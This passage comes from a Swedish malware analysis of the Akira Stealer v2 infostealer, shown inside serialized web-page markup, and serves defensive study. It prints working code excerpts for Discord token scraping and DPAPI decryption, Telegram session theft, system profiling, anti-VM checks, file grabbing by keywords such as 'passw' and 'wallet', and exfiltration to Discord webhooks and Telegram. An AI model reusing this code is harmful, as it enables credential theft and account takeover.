failed]\"},\n",[1684,8497,8498],{"class":1686,"line":5051},[1684,8499,8500],{},"    ]\n",[1684,8502,8503],{"class":1686,"line":5057},[1684,8504,2405],{},[1684,8506,8507],{"class":1686,"line":5063},[1684,8508,8509],{},"Webhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)\n",[1684,8511,8512],{"class":1686,"line":5069},[1684,8513,8514],{},"# 4) Cleanup local folder & ZIP\n",[1684,8516,8517],{"class":1686,"line":5075},[1684,8518,7698],{},[714,8520,8522,8523,1113],{"id":8521},"_79-stöld-av-discord-och-telegram-token-klass-discord","7.9. Stöld av Discord- och Telegram-token (klass: ",[551,8524,1318],{},[533,8526,720],{},[533,8528,8529,8530,8532],{},"Akira Stealer v2:s ",[540,8531,1318],{},"-klass kör en starkt parallelliserad process i flera steg för att skörda både Discord-auktoriseringstokens och Telegram-sessionsdata. Nedan bryter vi ner varje komponent med exakta kodreferenser och illustrativa exempel.",[862,8534,8536],{"id":8535},"_791-initialization-path-enumeration","7.9.1 Initialization & Path Enumeration",[533,8538,868],{},[533,8540,8541],{},"Vid instansiering bygger konstruktorn två uppsättningar målsökvägar:",[588,8543,8545],{"className":4492,"code":8544,"language":4494,"meta":594,"style":594},"# Discord client LevelDB directories\ndiscord_paths = [\n    [f\"{self.ROAMING}/Discord\", \"/Local Storage/leveldb\"],\n    [f\"{self.ROAMING}/Lightcord\", \"/Local Storage/leveldb\"],\n    ...\n]\n\n# Chromium-based browser LevelDB directories\nbrowserPaths = [\n    [f\"{self.ROAMING}/Opera Software/Opera GX Stable\", \"opera.exe\", \"/Local Storage/leveldb\", ...],\n    [f\"{self.LOCAL}/Google/Chrome/User Data\", \"chrome.exe\", \"/Default/Local Storage/leveldb\", ...],\n    ...\n]\n",[551,8546,8547,8552,8557,8562,8567,8571,8575,8579,8584,8589,8594,8599,8603],{"__ignoreMap":594},[1684,8548,8549],{"class":1686,"line":1687},[1684,8550,8551],{},"# Discord client LevelDB directories\n",[1684,8553,8554],{"class":1686,"line":2063},[1684,8555,8556],{},"discord_paths = [\n",[1684,8558,8559],{"class":1686,"line":2069},[1684,8560,8561],{},"    [f\"{self.ROAMING}/Discord\", \"/Local Storage/leveldb\"],\n",[1684,8563,8564],{"class":1686,"line":2075},[1684,8565,8566],{},"    [f\"{self.ROAMING}/Lightcord\", \"/Local Storage/leveldb\"],\n",[1684,8568,8569],{"class":1686,"line":2396},[1684,8570,3843],{},[1684,8572,8573],{"class":1686,"line":2402},[1684,8574,7924],{},[1684,8576,8577],{"class":1686,"line":3060},[1684,8578,3853],{"emptyLinePlaceholder":325},[1684,8580,8581],{"class":1686,"line":3856},[1684,8582,8583],{},"# Chromium-based browser LevelDB directories\n",[1684,8585,8586],{"class":1686,"line":3862},[1684,8587,8588],{},"browserPaths = [\n",[1684,8590,8591],{"class":1686,"line":4107},[1684,8592,8593],{},"    [f\"{self.ROAMING}/Opera Software/Opera GX Stable\", \"opera.exe\", \"/Local Storage/leveldb\", ...],\n",[1684,8595,8596],{"class":1686,"line":5033},[1684,8597,8598],{},"    [f\"{self.LOCAL}/Google/Chrome/User Data\", \"chrome.exe\", \"/Default/Local Storage/leveldb\", ...],\n",[1684,8600,8601],{"class":1686,"line":5039},[1684,8602,3843],{},[1684,8604,8605],{"class":1686,"line":5045},[1684,8606,7924],{},[604,8608,8609,8618],{},[607,8610,8611,8614,8615,586],{},[540,8612,8613],{},"Discord Paths"," riktar in sig på officiella och inofficiella Discord-klienter under ",[551,8616,8617],{},"%APPDATA%",[607,8619,8620,8623],{},[540,8621,8622],{},"Browser Paths"," täcker användardatamappar för populära webbläsare, inklusive undermappar för local storage och tillägg.",[533,8625,8626],{},"Trådar startas för varje post:",[588,8628,8630],{"className":4492,"code":8629,"language":4494,"meta":594,"style":594},"for patt in browserPaths:\n    t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])\n    t.start()\nfor patt in discord_paths:\n    t = Thread(target=self.get_discord, args=[patt[0], patt[1]])\n    t.start()\n",[551,8631,8632,8637,8642,8647,8652,8657],{"__ignoreMap":594},[1684,8633,8634],{"class":1686,"line":1687},[1684,8635,8636],{},"for patt in browserPaths:\n",[1684,8638,8639],{"class":1686,"line":2063},[1684,8640,8641],{},"    t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])\n",[1684,8643,8644],{"class":1686,"line":2069},[1684,8645,8646],{},"    t.start()\n",[1684,8648,8649],{"class":1686,"line":2075},[1684,8650,8651],{},"for patt in discord_paths:\n",[1684,8653,8654],{"class":1686,"line":2396},[1684,8655,8656],{},"    t = Thread(target=self.get_discord, args=[patt[0], patt[1]])\n",[1684,8658,8659],{"class":1686,"line":2402},[1684,8660,8646],{},[533,8662,8663],{},"Denna trådmodell maximerar I/O-genomströmningen och sonderar dussintals kataloger samtidigt.",[862,8665,8667],{"id":8666},"_792-token-extraction-logic","7.9.2 Token Extraction Logic",[533,8669,868],{},[533,8671,8672],{},[540,8673,8674],{},"Plaintext Token Scraping from Browsers",[533,8676,8677,8680,8681,8684,8685,8688],{},[551,8678,8679],{},"get_btoken(path, arg)"," navigerar till varje LevelDB-mapp och inspekterar ",[551,8682,8683],{},".log","- och ",[551,8686,8687],{},".ldb","-filer:",[588,8690,8692],{"className":4492,"code":8691,"language":4494,"meta":594,"style":594},"for file in os.listdir(path + arg):\n    if file.endswith((\".log\", \".ldb\")):\n        for line in open(f\"{path}{arg}/{file}\", errors=\"ignore\"):\n            for regex in (r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}\", r\"mfa\\.[\\w-]{80,95}\"):\n                tokens = re.findall(regex, line)\n                for token in tokens:\n                    self.tokens.append(token)\n                    self.cehckToken(token)\n",[551,8693,8694,8699,8704,8709,8714,8719,8724,8729],{"__ignoreMap":594},[1684,8695,8696],{"class":1686,"line":1687},[1684,8697,8698],{},"for file in os.listdir(path + arg):\n",[1684,8700,8701],{"class":1686,"line":2063},[1684,8702,8703],{},"    if file.endswith((\".log\", \".ldb\")):\n",[1684,8705,8706],{"class":1686,"line":2069},[1684,8707,8708],{},"        for line in open(f\"{path}{arg}/{file}\", errors=\"ignore\"):\n",[1684,8710,8711],{"class":1686,"line":2075},[1684,8712,8713],{},"            for regex in (r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}\", r\"mfa\\.[\\w-]{80,95}\"):\n",[1684,8715,8716],{"class":1686,"line":2396},[1684,8717,8718],{},"                tokens = re.findall(regex, line)\n",[1684,8720,8721],{"class":1686,"line":2402},[1684,8722,8723],{},"                for token in tokens:\n",[1684,8725,8726],{"class":1686,"line":3060},[1684,8727,8728],{},"                    self.tokens.append(token)\n",[1684,8730,8731],{"class":1686,"line":3856},[1684,8732,8733],{},"                    self.cehckToken(token)\n",[604,8735,8736,8745,8753],{},[607,8737,8738,8744],{},[540,8739,8740,8741],{},"Regex ",[551,8742,8743],{},"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}"," matchar vanliga Discord-tokens.",[607,8746,8747,8752],{},[540,8748,8740,8749],{},[551,8750,8751],{},"mfa\\.[\\w-]{80,95}"," fångar MFA-tokens.",[607,8754,8755,8756,8759],{},"Deduplicering sker implicit: tokens lagras i ",[551,8757,8758],{},"self.tokens"," före validering.",[533,8761,8762],{},[540,8763,8764],{},"Encrypted Token Decryption in Discord Client",[533,8766,8767,8768,8770,8771,8773,8774,8777],{},"Discords klient krypterar Local Storage-poster under DPAPI, med prefixet ",[551,8769,6503],{}," eller ",[551,8772,6507],{},". ",[551,8775,8776],{},"get_discord(path, arg)"," hanterar detta:",[588,8779,8781],{"className":4492,"code":8780,"language":4494,"meta":594,"style":594},"# Read Local State to obtain encrypted master key\nwith open(path + \"/Local State\", 'r') as f:\n    local_state = json.load(f)\nencrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]\nmaster_key = self.CryptUnprotectData(encrypted_key)\n\n# Iterate LevelDB files for Base64 payloads\nfor file in os.listdir(path + arg):\n    if file.endswith((\".log\", \".ldb\")):\n        for line in open(f\"{path}{arg}/{file}\"):\n            for token_part in re.findall(r\"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)\", line):\n                ciphertext = b64decode(token_part)\n                token = self.decrypt_value(ciphertext, master_key)\n                self.tokens.append(token)\n                self.cehckToken(token)\n",[551,8782,8783,8788,8793,8797,8802,8807,8811,8816,8820,8824,8829,8834,8839,8844,8849],{"__ignoreMap":594},[1684,8784,8785],{"class":1686,"line":1687},[1684,8786,8787],{},"# Read Local State to obtain encrypted master key\n",[1684,8789,8790],{"class":1686,"line":2063},[1684,8791,8792],{},"with open(path + \"/Local State\", 'r') as f:\n",[1684,8794,8795],{"class":1686,"line":2069},[1684,8796,7099],{},[1684,8798,8799],{"class":1686,"line":2075},[1684,8800,8801],{},"encrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]\n",[1684,8803,8804],{"class":1686,"line":2396},[1684,8805,8806],{},"master_key = self.CryptUnprotectData(encrypted_key)\n",[1684,8808,8809],{"class":1686,"line":2402},[1684,8810,3853],{"emptyLinePlaceholder":325},[1684,8812,8813],{"class":1686,"line":3060},[1684,8814,8815],{},"# Iterate LevelDB files for Base64 payloads\n",[1684,8817,8818],{"class":1686,"line":3856},[1684,8819,8698],{},[1684,8821,8822],{"class":1686,"line":3862},[1684,8823,8703],{},[1684,8825,8826],{"class":1686,"line":4107},[1684,8827,8828],{},"        for line in open(f\"{path}{arg}/{file}\"):\n",[1684,8830,8831],{"class":1686,"line":5033},[1684,8832,8833],{},"            for token_part in re.findall(r\"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)\", line):\n",[1684,8835,8836],{"class":1686,"line":5039},[1684,8837,8838],{},"                ciphertext = b64decode(token_part)\n",[1684,8840,8841],{"class":1686,"line":5045},[1684,8842,8843],{},"                token = self.decrypt_value(ciphertext, master_key)\n",[1684,8845,8846],{"class":1686,"line":5051},[1684,8847,8848],{},"                self.tokens.append(token)\n",[1684,8850,8851],{"class":1686,"line":5057},[1684,8852,8853],{},"                self.cehckToken(token)\n",[604,8855,8856,8865],{},[607,8857,8858,8861,8862,8864],{},[540,8859,8860],{},"Master Key Recovery",": Skalar bort den 5 byte långa DPAPI-headern och anropar sedan ",[551,8863,7165],{}," (som omsluter Windows DPAPI) för att dekryptera AES-GCM-nyckeln.",[607,8866,8867,8870,8871,8874,8875,8878,8879],{},[540,8868,8869],{},"Payload Parsing",": Tokens har prefixet ",[551,8872,8873],{},"dQw4w9WgXcQ:"," (en markör som angriparen valt). Efter Base64-avkodning delar ",[551,8876,8877],{},"decrypt_value()"," upp IV och ciphertext:",[588,8880,8882],{"className":4492,"code":8881,"language":4494,"meta":594,"style":594},"def decrypt\\_value(buff, master\\_key):\niv = buff\\[3:15]\npayload = buff\\[15:]\ncipher = AES.new(master\\_key, AES.MODE\\_GCM, iv)\nreturn cipher.decrypt(payload)\\[:-16].decode()\n",[551,8883,8884,8889,8894,8899,8904],{"__ignoreMap":594},[1684,8885,8886],{"class":1686,"line":1687},[1684,8887,8888],{},"def decrypt\\_value(buff, master\\_key):\n",[1684,8890,8891],{"class":1686,"line":2063},[1684,8892,8893],{},"iv = buff\\[3:15]\n",[1684,8895,8896],{"class":1686,"line":2069},[1684,8897,8898],{},"payload = buff\\[15:]\n",[1684,8900,8901],{"class":1686,"line":2075},[1684,8902,8903],{},"cipher = AES.new(master\\_key, AES.MODE\\_GCM, iv)\n",[1684,8905,8906],{"class":1686,"line":2396},[1684,8907,8908],{},"return cipher.decrypt(payload)\\[:-16].decode()\n",[862,8910,8912],{"id":8911},"_793-token-validation-exfiltration","7.9.3 Token Validation & Exfiltration",[533,8914,868],{},[533,8916,8917],{},"Varje extraherad token valideras via ett live-API-anrop:",[588,8919,8922],{"className":8920,"code":8921,"language":593},[591],"headers = {\"Authorization\": token}\nresp = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=headers)\nif resp.status_code == 200:\n    self.cehckToken(token)\n",[551,8923,8921],{"__ignoreMap":594},[604,8925,8926],{},[607,8927,8928,8931,8932,8935,8936,8939,8940],{},[540,8929,8930],{},"Vid lyckat svar"," avgör ",[551,8933,8934],{},"cehckToken()"," om den ska skickas via Telegram (",[551,8937,8938],{},"useTg=True",") eller Discord-webhook:",[588,8941,8943],{"className":4492,"code":8942,"language":4494,"meta":594,"style":594},"if useTg:\nself.sendTokenTg(token)\nelse:\nself.send\\_embed(token)\n",[551,8944,8945,8950,8955,8960],{"__ignoreMap":594},[1684,8946,8947],{"class":1686,"line":1687},[1684,8948,8949],{},"if useTg:\n",[1684,8951,8952],{"class":1686,"line":2063},[1684,8953,8954],{},"self.sendTokenTg(token)\n",[1684,8956,8957],{"class":1686,"line":2069},[1684,8958,8959],{},"else:\n",[1684,8961,8962],{"class":1686,"line":2075},[1684,8963,8964],{},"self.send\\_embed(token)\n",[604,8966,8967],{},[607,8968,8969,8974],{},[540,8970,8971],{},[551,8972,8973],{},"send_embed"," bygger en rik Discord-embed som innehåller användarens metadata (username, discriminator, e-post, Nitro-status, faktureringsinfo) med fält från",[588,8976,8979],{"className":8977,"code":8978,"language":593},[591],"user_json = requests.get(...).json()\nusername = user_json[\"username\"]\nid = user_json[\"id\"]\n# embed fields: token, email, phone, IP, flags, Nitro, billing\n",[551,8980,8978],{"__ignoreMap":594},[604,8982,8983],{},[607,8984,8985,8990],{},[540,8986,8987],{},[551,8988,8989],{},"sendTokenTg"," skickar en sammanfattning i klartext via Telegram-API:et.",[862,8992,8994],{"id":8993},"_794-telegram-session-harvesting","7.9.4 Telegram Session Harvesting",[533,8996,868],{},[533,8998,8999],{},"Utöver Discord-tokens tar stealern även Telegram Desktop-sessioner:",[588,9001,9003],{"className":4492,"code":9002,"language":4494,"meta":594,"style":594},"@staticmethod\ndef steal_telegram():\n    src = f\"{os.getenv('APPDATA')}/Telegram Desktop/tdata\"\n    Utils.TaskKill(\"telegram.exe\")\n    shutil.copytree(src, os.path.join(Utils.get_temp_folder(), \"Telegram\"))\n",[551,9004,9005,9009,9014,9019,9024],{"__ignoreMap":594},[1684,9006,9007],{"class":1686,"line":1687},[1684,9008,4985],{},[1684,9010,9011],{"class":1686,"line":2063},[1684,9012,9013],{},"def steal_telegram():\n",[1684,9015,9016],{"class":1686,"line":2069},[1684,9017,9018],{},"    src = f\"{os.getenv('APPDATA')}/Telegram Desktop/tdata\"\n",[1684,9020,9021],{"class":1686,"line":2075},[1684,9022,9023],{},"    Utils.TaskKill(\"telegram.exe\")\n",[1684,9025,9026],{"class":1686,"line":2396},[1684,9027,9028],{},"    shutil.copytree(src, os.path.join(Utils.get_temp_folder(), \"Telegram\"))\n",[604,9030,9031,9037,9046],{},[607,9032,9033,9036],{},[540,9034,9035],{},"Process Termination",": Säkerställer att fillås släpps.",[607,9038,9039,9042,9043,9045],{},[540,9040,9041],{},"Recursive Copy",": Stjäl ",[551,9044,8277],{},"-mappen, inklusive användarsessioner, kontakter och cachade meddelanden.",[607,9047,9048,9051,9052,9055],{},[540,9049,9050],{},"Exfiltration",": Den stulna mappen zippas och laddas upp via ",[551,9053,9054],{},"sendFilesTG()",", med nedladdningslänken inbäddad i ett Telegram-meddelande.",[533,9057,9058,9059,9061],{},"Akira Stealers ",[551,9060,1318],{},"-modul kombinerar regex-baserad scraping, DPAPI-underbyggd AES-GCM-dekryptering, live-API-validering och exfiltrering över flera protokoll (webhook + Telegram) för att leverera en smidig förmåga till kontoövertagande på både Discord och Telegram.",[714,9063,9065],{"id":9064},"_710-systemprofilering","7.10 Systemprofilering",[533,9067,720],{},[533,9069,9070,9071,9074],{},"Akira Stealer v2 innehåller en omfattande systemprofileringsfas för att samla in värdmetadata, miljöattribut och nätverksdetaljer. Denna information sammanställs i klassen ",[551,9072,9073],{},"Data"," och paketeras senare tillsammans med de exfiltrerade autentiseringsuppgifterna. Nedan bryter vi ner profileringslogiken med direkta kodreferenser.",[862,9076,9078,9079,9081],{"id":9077},"_7101-data-class-initialization","7.10.1 ",[551,9080,9073],{}," Class Initialization",[533,9083,868],{},[533,9085,9086,9087,1174],{},"Vid start skapas en instans av ",[551,9088,9073],{},[588,9090,9092],{"className":4492,"code":9091,"language":4494,"meta":594,"style":594},"class Data:\n    def __init__(self):\n        self.username = os.getlogin()\n        self.computerName = os.getenv(\"computername\") or \"Unable to get computer name\"\n        self.system_info = f\"Computer Name: {self.computerName}\\n...\"\n        ...\n        self.ip = requests.get(url=\"https://api.ipify.org\").text\n        ipdata = json.loads(requests.post(url=f\"http://ip-api.com/json/{self.ip}\").text)\n        self.country = ipdata.get(\"country\")\n        self.countryCode = ipdata.get(\"countryCode\", \"\").lower()\n",[551,9093,9094,9099,9104,9109,9114,9119,9124,9129,9134,9139],{"__ignoreMap":594},[1684,9095,9096],{"class":1686,"line":1687},[1684,9097,9098],{},"class Data:\n",[1684,9100,9101],{"class":1686,"line":2063},[1684,9102,9103],{},"    def __init__(self):\n",[1684,9105,9106],{"class":1686,"line":2069},[1684,9107,9108],{},"        self.username = os.getlogin()\n",[1684,9110,9111],{"class":1686,"line":2075},[1684,9112,9113],{},"        self.computerName = os.getenv(\"computername\") or \"Unable to get computer name\"\n",[1684,9115,9116],{"class":1686,"line":2396},[1684,9117,9118],{},"        self.system_info = f\"Computer Name: {self.computerName}\\n...\"\n",[1684,9120,9121],{"class":1686,"line":2402},[1684,9122,9123],{},"        ...\n",[1684,9125,9126],{"class":1686,"line":3060},[1684,9127,9128],{},"        self.ip = requests.get(url=\"https://api.ipify.org\").text\n",[1684,9130,9131],{"class":1686,"line":3856},[1684,9132,9133],{},"        ipdata = json.loads(requests.post(url=f\"http://ip-api.com/json/{self.ip}\").text)\n",[1684,9135,9136],{"class":1686,"line":3862},[1684,9137,9138],{},"        self.country = ipdata.get(\"country\")\n",[1684,9140,9141],{"class":1686,"line":4107},[1684,9142,9143],{},"        self.countryCode = ipdata.get(\"countryCode\", \"\").lower()\n",[604,9145,9146,9159],{},[607,9147,9148,9151,9152,9155,9156,586],{},[540,9149,9150],{},"Username & Hostname:"," Hämtas via ",[551,9153,9154],{},"os.getlogin()"," och miljövariabeln ",[551,9157,9158],{},"COMPUTERNAME",[607,9160,9161,9164,9165,9168,9169,9171],{},[540,9162,9163],{},"IP Address:"," Hämtas med ",[551,9166,9167],{},"requests.get(\"https://api.ipify.org\")"," och geolokaliseras sedan via ",[551,9170,5331],{}," för land och ISO-kod.",[862,9173,9175],{"id":9174},"_7102-os-and-hardware-enumeration","7.10.2 OS and Hardware Enumeration",[533,9177,868],{},[533,9179,9180],{},"Med hjälp av WMI-kommandon (Windows Management Instrumentation):",[588,9182,9184],{"className":4492,"code":9183,"language":4494,"meta":594,"style":594},"# Operating System\nself.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout\n# Total Physical Memory\nself.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)\n# BIOS UUID\nself.uuid = subprocess.run('wmic csproduct get uuid', ...)\n# CPU Identifier\nself.cpu = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:System...\\Processor_Identifier'\", ...)\n# GPU Name\nself.gpu = subprocess.run('wmic path win32_VideoController get name', ...)\n# Windows Product Key\nself.productKey = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault\", ...)\n",[551,9185,9186,9191,9196,9201,9206,9211,9216,9221,9226,9231,9236,9241],{"__ignoreMap":594},[1684,9187,9188],{"class":1686,"line":1687},[1684,9189,9190],{},"# Operating System\n",[1684,9192,9193],{"class":1686,"line":2063},[1684,9194,9195],{},"self.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout\n",[1684,9197,9198],{"class":1686,"line":2069},[1684,9199,9200],{},"# Total Physical Memory\n",[1684,9202,9203],{"class":1686,"line":2075},[1684,9204,9205],{},"self.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)\n",[1684,9207,9208],{"class":1686,"line":2396},[1684,9209,9210],{},"# BIOS UUID\n",[1684,9212,9213],{"class":1686,"line":2402},[1684,9214,9215],{},"self.uuid = subprocess.run('wmic csproduct get uuid', ...)\n",[1684,9217,9218],{"class":1686,"line":3060},[1684,9219,9220],{},"# CPU Identifier\n",[1684,9222,9223],{"class":1686,"line":3856},[1684,9224,9225],{},"self.cpu = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:System...\\Processor_Identifier'\", ...)\n",[1684,9227,9228],{"class":1686,"line":3862},[1684,9229,9230],{},"# GPU Name\n",[1684,9232,9233],{"class":1686,"line":4107},[1684,9234,9235],{},"self.gpu = subprocess.run('wmic path win32_VideoController get name', ...)\n",[1684,9237,9238],{"class":1686,"line":5033},[1684,9239,9240],{},"# Windows Product Key\n",[1684,9242,9243],{"class":1686,"line":5039},[1684,9244,9245],{},"self.productKey = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault\", ...)\n",[533,9247,9248,9249,9252],{},"Resultaten tolkas till läsbara strängar (",[551,9250,9251],{},"strip()",", indexoperationer) och sammanfogas till:",[588,9254,9256],{"className":4492,"code":9255,"language":4494,"meta":594,"style":594},"self.system_info = (\n    f\"Computer Name: {self.computerName}\\n\"\n    f\"Total Memory: {self.totalMemory}\\n\"\n    f\"CPU: {self.cpu}\\n\"\n    f\"GPU: {self.gpu}\\n\"\n    f\"Product Key: {self.productKey}\"\n)\n",[551,9257,9258,9263,9268,9273,9278,9283,9288],{"__ignoreMap":594},[1684,9259,9260],{"class":1686,"line":1687},[1684,9261,9262],{},"self.system_info = (\n",[1684,9264,9265],{"class":1686,"line":2063},[1684,9266,9267],{},"    f\"Computer Name: {self.computerName}\\n\"\n",[1684,9269,9270],{"class":1686,"line":2069},[1684,9271,9272],{},"    f\"Total Memory: {self.totalMemory}\\n\"\n",[1684,9274,9275],{"class":1686,"line":2075},[1684,9276,9277],{},"    f\"CPU: {self.cpu}\\n\"\n",[1684,9279,9280],{"class":1686,"line":2396},[1684,9281,9282],{},"    f\"GPU: {self.gpu}\\n\"\n",[1684,9284,9285],{"class":1686,"line":2402},[1684,9286,9287],{},"    f\"Product Key: {self.productKey}\"\n",[1684,9289,9290],{"class":1686,"line":3060},[1684,9291,5252],{},[862,9293,9295],{"id":9294},"_7103-vm-detection-anti-sandbox-checks","7.10.3 VM Detection & Anti-Sandbox Checks",[533,9297,868],{},[533,9299,9300,9301,9303],{},"Innan den djupare profileringen anropar skadeprogrammet ",[551,9302,4666],{}," för att upptäcka virtualiserings- eller analysmiljöer:",[588,9305,9307],{"className":4492,"code":9306,"language":4494,"meta":594,"style":594},"if VmProtect.isVM(1):\n    sys.exit()\n",[551,9308,9309,9314],{"__ignoreMap":594},[1684,9310,9311],{"class":1686,"line":1687},[1684,9312,9313],{},"if VmProtect.isVM(1):\n",[1684,9315,9316],{"class":1686,"line":2063},[1684,9317,9318],{},"    sys.exit()\n",[533,9320,9321],{},"Viktiga kontroller inkluderar:",[604,9323,9324,9330,9336,9342],{},[607,9325,9326,9329],{},[540,9327,9328],{},"Registry Keys & Driver Descriptors",": Frågar efter virtualiseringsrelaterade registerposter.",[607,9331,9332,9335],{},[540,9333,9334],{},"Blacklisted UUIDs & Computer Names",": Matchar mot kända VM-fingeravtryck.",[607,9337,9338,9341],{},[540,9339,9340],{},"HTTP Simulation",": Försöker ansluta till en obefintlig domän över HTTPS.",[607,9343,9344,9347,9348,620,9351,620,9354,586],{},[540,9345,9346],{},"Process Blacklist",": Startar en bakgrundstråd som avslutar verktyg som ",[551,9349,9350],{},"wireshark",[551,9352,9353],{},"ollydbg",[551,9355,9356],{},"ida64",[862,9358,9360],{"id":9359},"_7104-packaging-transmission","7.10.4 Packaging & Transmission",[533,9362,868],{},[533,9364,9365,9366,9369],{},"Den insamlade ",[551,9367,9368],{},"system_info",", IP-adressen och landsflaggan bäddas in i headerns för webhook-payloaden:",[588,9371,9373],{"className":4492,"code":9372,"language":4494,"meta":594,"style":594},"webhook_payload = {\n    \"embeds\": [{\n        \"title\": f\"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}\",\n        \"description\": description + \"\\n```⚙️ System Info\\n\" + self.system_info + \"```\",\n        \"fields\": [...]\n    }]\n}\nrequests.post(self.webhook_url, json=webhook_payload)\n",[551,9374,9375,9380,9385,9390,9395,9400,9405,9409],{"__ignoreMap":594},[1684,9376,9377],{"class":1686,"line":1687},[1684,9378,9379],{},"webhook_payload = {\n",[1684,9381,9382],{"class":1686,"line":2063},[1684,9383,9384],{},"    \"embeds\": [{\n",[1684,9386,9387],{"class":1686,"line":2069},[1684,9388,9389],{},"        \"title\": f\"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}\",\n",[1684,9391,9392],{"class":1686,"line":2075},[1684,9393,9394],{},"        \"description\": description + \"\\n```⚙️ System Info\\n\" + self.system_info + \"```\",\n",[1684,9396,9397],{"class":1686,"line":2396},[1684,9398,9399],{},"        \"fields\": [...]\n",[1684,9401,9402],{"class":1686,"line":2402},[1684,9403,9404],{},"    }]\n",[1684,9406,9407],{"class":1686,"line":3060},[1684,9408,2405],{},[1684,9410,9411],{"class":1686,"line":3856},[1684,9412,9413],{},"requests.post(self.webhook_url, json=webhook_payload)\n",[604,9415,9416,9422],{},[607,9417,9418,9421],{},[540,9419,9420],{},"Flag Emoji",": Härleds från ISO-landskoden.",[607,9423,9424,9427],{},[540,9425,9426],{},"Fields",": Innehåller antal stulna lösenord, cookies etc., men systeminformationen ligger i embedens description för omedelbar kontext.",[533,9429,9430,9433],{},[540,9431,9432],{},"Summary:","\nSystemprofileringen i Akira Stealer v2 samlar in omfattande värd- och nätverksdata via WMI-kommandon, miljövariabler och IP-geolokalisering. Kombinerat med VM-detektering och rutiner som dödar verktyg säkerställer detta att angriparen har en fullständig ögonblicksbild av den komprometterade miljön, vilket förbättrar riktade uppföljningsåtgärder och sorterar bort analyssandboxar.",[714,9435,9437,9438,1113],{"id":9436},"_711-filinsamlare-klass-utilssteal_files","7.11 Filinsamlare (klass: ",[551,9439,9440],{},"Utils.steal_files",[533,9442,720],{},[533,9444,9445],{},"Utöver webbläsardata och tokens försöker Akira också extrahera värdefullt användargenererat innehåll, som dokument, kalkylark, privata anteckningar och kryptografiska nyckelfiler. File Grabber-modulen ansvarar för denna uppgift. Den fungerar genom att skanna kataloger med högt värde efter vanliga filtyper och mönster och lägger sedan tyst till dem i exfiltreringspaketet. Det som gör denna modul särskilt farlig är dess enkelhet och fokus: den försöker inte genomsöka hela filsystemet. Istället riktar den in sig på specifika, sannolika platser där känsliga filer vanligtvis lagras. Dit hör katalogerna Desktop, Documents, Downloads och OneDrive, var och en relativt användarens hemsökväg. Detta fokuserade tillvägagångssätt förbättrar både hastighet och smyghet och minskar sannolikheten för upptäckt under skanningen. Det undviker också att varna användaren genom att inte komma åt system- eller skyddade kataloger. När filer av intresse har lokaliserats kopieras de till en temporär mapp, döps eventuellt om eller grupperas, och komprimeras senare till det slutliga ZIP-arkivet som laddas upp i exfiltreringsfasen.",[862,9447,9449],{"id":9448},"_7111-target-directories-enumeration","7.11.1 Target Directories Enumeration",[533,9451,868],{},[533,9453,9454],{},"Stealern fokuserar på fyra mappar med hög avkastning:",[588,9456,9458],{"className":4492,"code":9457,"language":4494,"meta":594,"style":594},"searchFolders = [\n    \"Desktop\",\n    \"Documents\",\n    \"Downloads\",\n    \"OneDrive\"\n]\n",[551,9459,9460,9465,9470,9475,9480,9485],{"__ignoreMap":594},[1684,9461,9462],{"class":1686,"line":1687},[1684,9463,9464],{},"searchFolders = [\n",[1684,9466,9467],{"class":1686,"line":2063},[1684,9468,9469],{},"    \"Desktop\",\n",[1684,9471,9472],{"class":1686,"line":2069},[1684,9473,9474],{},"    \"Documents\",\n",[1684,9476,9477],{"class":1686,"line":2075},[1684,9478,9479],{},"    \"Downloads\",\n",[1684,9481,9482],{"class":1686,"line":2396},[1684,9483,9484],{},"    \"OneDrive\"\n",[1684,9486,9487],{"class":1686,"line":2402},[1684,9488,7924],{},[533,9490,9491],{},"Varje mapp tolkas relativt offrets hemkatalog:",[588,9493,9495],{"className":4492,"code":9494,"language":4494,"meta":594,"style":594},"for folder in searchFolders:\n    current_path = os.path.join(os.environ['USERPROFILE'], folder)\n    if os.path.exists(current_path):\n        # proceed to scan\n",[551,9496,9497,9502,9507,9512],{"__ignoreMap":594},[1684,9498,9499],{"class":1686,"line":1687},[1684,9500,9501],{},"for folder in searchFolders:\n",[1684,9503,9504],{"class":1686,"line":2063},[1684,9505,9506],{},"    current_path = os.path.join(os.environ['USERPROFILE'], folder)\n",[1684,9508,9509],{"class":1686,"line":2069},[1684,9510,9511],{},"    if os.path.exists(current_path):\n",[1684,9513,9514],{"class":1686,"line":2075},[1684,9515,9516],{},"        # proceed to scan\n",[862,9518,9520],{"id":9519},"_7112-keyword-extension-filtering","7.11.2 Keyword & Extension Filtering",[533,9522,868],{},[533,9524,9525],{},[540,9526,9527],{},"Keyword List",[533,9529,9530],{},"En fördefinierad uppsättning delsträngar styr filurvalet. Endast filnamn som innehåller minst ett nyckelord beaktas:",[588,9532,9534],{"className":4492,"code":9533,"language":4494,"meta":594,"style":594},"keywordsFiles = [\n    \"passw\", \"seed\", \"mnemo\", \"phrase\", \"login\", \"wallet\",\n    \"crypto\", \"token\", \"backup\", \"secret\", \"account\"\n]\n",[551,9535,9536,9541,9546,9551],{"__ignoreMap":594},[1684,9537,9538],{"class":1686,"line":1687},[1684,9539,9540],{},"keywordsFiles = 